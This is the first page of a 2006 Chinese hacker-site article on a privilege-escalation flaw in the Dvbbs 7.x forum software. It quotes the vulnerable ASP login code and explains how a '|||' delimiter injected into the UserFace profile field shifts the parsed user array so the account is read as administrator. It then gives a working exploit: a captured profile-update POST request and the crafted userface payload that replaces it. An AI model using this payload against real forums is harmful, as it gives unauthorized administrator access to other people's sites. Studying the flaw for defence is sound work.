| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 安全防御 >> 漏洞分析 >> 文章正文 用户登录 新用户注册
  动网7.x权限提升漏洞原理         ★★★ 【字体:
动网7.x权限提升漏洞原理
作者:focn jin…    文章来源:黑客防线    点击数:    更新时间:2006-1-12    

在6月份的黑防上看到《动网7.1漏洞惊现江湖》一文,说是admin_postings.asp文件存在注入漏洞,但利用的前提是拥有超级版主或前台管理员权限。我想起以前发现的动网7.x版本存在一个前台权限提升漏洞, 正好可以结合起来利用。这个前台权限提升漏洞对7.x的Access和 SQL版都有效。下面我们就以7.0 SP2 SQL版,讲解这个漏洞的利用。 

漏洞分析: 
我们知道动网是通过GroupID来判断当前用户所在的组的,然后再通过组的信息判断用户的权限。它是如何取得这个GroupID的呢?让我们看看登录验证的那一段:login.asp的525行左右: 
Rem ==========论坛登录函数========= 
Rem 判断用户登录 
Function ChkUserLogin(username,password,mobile,userCookies,ctype) 
…………前面的代码省略 
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace 
,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup, 
userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden, 
UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday " 
SQL=SQL+" From [Dv_User] Where "&SQLstr&"" 
set rsUser=DVBBS.Execute(SQL) 
If rsUser.eof and rsUser.bof Then 
ChkUserLogin=false 
Exit Function 
Else 
iMyUserInfo=rsUser.GetString(,1, "|||", "", "") 
rsUser.Close:Set rsUser = Nothing 
End If 
iMyUserInfo = "DVBBS|||"& Now & "|||" & Now &"|||"& DVBBS.BoardID &"|||"& 
iMyUserInfo &"||||||DVBBS" 
iMyUserInfo = Split(iMyUserInfo,"|||") 
If trim(password)<>trim(iMyUserInfo(6)) Then 
ChkUserLogin=false 
ElseIf iMyUserInfo(17)=1 Then 
ChkUserLogin=false 
ElseIf iMyUserInfo(19)=5 Then 
ChkUserLogin=false 
Else 
ChkUserLogin=True 
Session(DVBBS.CacheName & "UserID") = iMyUserInfo 
DVBBS.UserID = iMyUserInfo(4) 
RegName = iMyUserInfo(5) 
Article = iMyUserInfo(8) 
UserLastLogin = iMyUserInfo(15) 
UserClass = iMyUserInfo(18)  
GroupID = iMyUserInfo(19) 
TitlePic = iMyUserInfo(34) 
If Article<0 Then Article=0 
End If 
…………后面的代码省略 
可以看到,动网将用户的信息先用“|||”三个竖线连起来,做为一个字符串传给iMyUserInfo,然后iMyUserInfo由“|||”分隔成一个字符串数组。用户密码验证正确后就把数组的第20个元素的值:iMyUserInfo(19)赋给GroupID。看到没,GroupID只是数组对应的第20个元素的值,如果iMyUserInfo(19)的值为1的话,动网就以为现在登录的用户是前台管理员了。 
在inc目录下的Dv_ClsMain.asp文件中也有这么验证用户身份的一段代码,用来在用户更新信息后检测用户的权限。 
Dv_ClsMain.asp的650行左右 
Public Sub TrueCheckUserLogin() 
……前面的省略 
Dim Rs,SQL 
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex, 
UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID, 
UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest, 
UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday" 
SQL=SQL+" From [Dv_User] Where UserID = " & UserID 
Set Rs = Execute(SQL) 
If Rs.Eof And Rs.Bof Then 
Rs.Close:Set Rs = Nothing 
UserID = 0 
EmptyCookies 
LetGuestSession() 
Else 
MyUserInfo=Rs.GetString(,1, "|||","","") 
Rs.Close:Set Rs = Nothing 
If IsArray(Session(CacheName & "UserID")) Then 
MyUserInfo = "DVBBS|||"& Now & "|||" & Session(CacheName & "UserID")(2) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS" 
Else 
MyUserInfo = "DVBBS|||"& Now & "|||" & DateAdd("s",-3600,Now()) &"|||"& BoardID &"|||"& MyUserInfo &"||||||DVBBS" 
End IF 
Response.Write MyUserInfo 
MyUserInfo = Split(MyUserInfo,"|||") 
……  
End If 
End Sub 
’用户登录成功后,采用本函数读取用户数组并判断一些常用信息 
Public Sub GetCacheUserInfo() 
MyUserInfo = Session(CacheName & "UserID") 
UserID = Clng(MyUserInfo(4)) 
MemberName = MyUserInfo(5) 
Lastlogin = MyUserInfo(15) 
If Not IsDate(LastLogin) Then LastLogin = Now() 
UserGroupID = Cint(MyUserInfo(19)) 
    ……后面代码省略 
两处检验的方式一模一样,所以我们可以利用这两个中的任意一个来达到我们的目的。看它的SQL语句部分: 
SQL="Select UserID,UserName,UserPassword,UserEmail,UserPost,UserTopic,UserSex,UserFace,UserWidth,UserHeight,JoinDate,LastLogin,UserLogins,Lockuser,Userclass,UserGroupID,UserGroup,userWealth,userEP,userCP,UserPower,UserBirthday,UserLastIP,UserDel,UserIsBest,UserHidden,UserMsg,IsChallenge,UserMobile,TitlePic,UserTitle,TruePassWord,UserToday" 
SQL=SQL+" From [Dv_User] Where UserID = " & UserID 
UserGroupID字段排在第16个,只要我们前面的一个字段的数据中含有“|||”,那么UserGroupID在MyUserInfo这个字符串数组的位置就改变了。对这个字段选取有些特殊的要求,字段类型要合适,不能为数字型,字段的长度要可以容纳下我们构造的数组,并且还得是上面SQL语句中排在UserGroupID前面的字段,这样才能使构造的数组改变原来数组中UserGroupID的位置。如图1所示。 
我们能利用的就只有UserEmail、UserFace这两个字段了。由于IsValidEmail函数的存在,我们没法在UserEmail字段中插入‘|’,所以能利用的就只有UserFace字段了。 
在基本资料修改时,动网只过滤了SQL注入用的几个符号,没有过滤掉‘|’,所以只要我们构造出正确的字符串,就可以骗过动网,成为管理员组的用户了。 
  face=Dv_FilterJS(replace(face,"’","")) 
face=Replace(face,"..","") 
face=Replace(face,"\","/") 
face=Replace(face,"^","") 
face=Replace(face,"#","") 
face=Replace(face,"%","") 

漏洞的利用: 
如何构造这个UserFace来达到我们的目的呢?最开始我以为只要iMyUserInfo(19)为1就可以是管理员了,但一直没有成功。其实我们在构造这个UserFace时还要考虑到一点,我们已经改变了iMyUserInfo数组的结构,我们必须保证新的iMyUserInfo数组的前面一部分的结构和原数组结构一模一样,否则就会出现类型转换错误,比如UserBirthday,在新的数组中该字段位置的值必须为一个日期。我们可以直接拿一个正常的iMyUserInfo的后半部分做我们的UserFace值,然后将UserGroupID位置改为一。我修改了login.asp文件,让它在用户登录时显示当前用户的iMyUserInfo的内容,如图2所示。 

例如admin(不一定非得是admin的,其他用户的也行,只要UserGroupID处改为1就行了)登录时的iMyUserInfo的值为: 
DVBBS|||2005-6-1918:05:34|||2005-6-19 18:05:34|||0|||1|||admin|||469e80d32c0559f8||| 
eway@aspsky.net|||4|||1|||0|||images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-1918:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200 
|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS 
我们可以取 
images/userface/image1.gif|||32|||32|||2003-12-30 16:34:00|||2005-6-19 18:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif||||||9pc722664t5w7IM7|||0|0|0 ||||||DVBBS 
做我们的UserFace值,要注意这个值的长度不能超过255个字符。动网限制了我们提交的字符为100个,我们可以用NC来提交。 
先在本机测试一下,用普通用户登录动网,现在用户等级还是新手上路。 
好了,我们去修改基本信息的地方。 
提交,用WSE抓下这个包 

截取到的包如下: 
POST /bs/mymodify.asp?action=updat&username=4 HTTP/1.1 
Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */* 
Referer: http://210.41.235.199/bs/mymodify.asp Accept-Language: zh-cn 
Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate 
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322) 
Host: 210.41.235.199 Content-Length: 396 Connection: Keep-Alive Cache-Control: no-cache Cookie: 210%2E41%2E235%2E199%2Fbs%2F=userCookies=0&StatUserID=21048347059&password=fVIy4l887ZvD956c&userhidden=&username=test&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&userid=4; upNum=0; ASPSESSIONIDASCDABTA=IEGHDLKCCHDMOBPFPFFHMNAM 
title=&sex=1&face=Images%2Fuserface%2Fimage1.gif&myface=Images%2Fuserface%2Fimage1.gif&width=32&height=32&birthday=&userphoto=&GroupName=%CE%DE%C3%C5%CE%DE%C5%C9&Signature=&showRe=0&userCookies=0&setuserinfo=1&setusertrue=0&realname=&personal=&country=&userphone=&address=&province=&selectp=0&city=&selectc=0&shengxiao=&blood=&belief=&occupation=&marital=&education=&college=&Submit=%B8%FC+%D0%C2 
好,我们把userface的值给替换成 
images/userface/image1.gif|||32|||32|||2003-12-30%2016:34:00|||2005-6-19%2018:04:06|||25|||0|||管理员|||1||||||120|||115|||28|||0||||||210.41.235.200|||0|||0|||0||||||0||||||level10.gif|||||| 

[1] [2] 下一页

文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    俄罗斯黑客指卡巴斯基6.0-7.
    十年磨一剑 卡巴斯基7.0简体
    动网8.0爆出漏洞 建议用户更
    病毒预报(2007.7.23-2007.7
    百度启动网站评级计划 与Go
    瑞星病毒及木马预警一周播报
    推荐:BBSXP 7.00 Beta 2 SQL
    详细解说“黑掉”Dvbbs 7.1 
    微软IE7.0中文版发布再掀中文
    几个暴动网数据库的代码
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.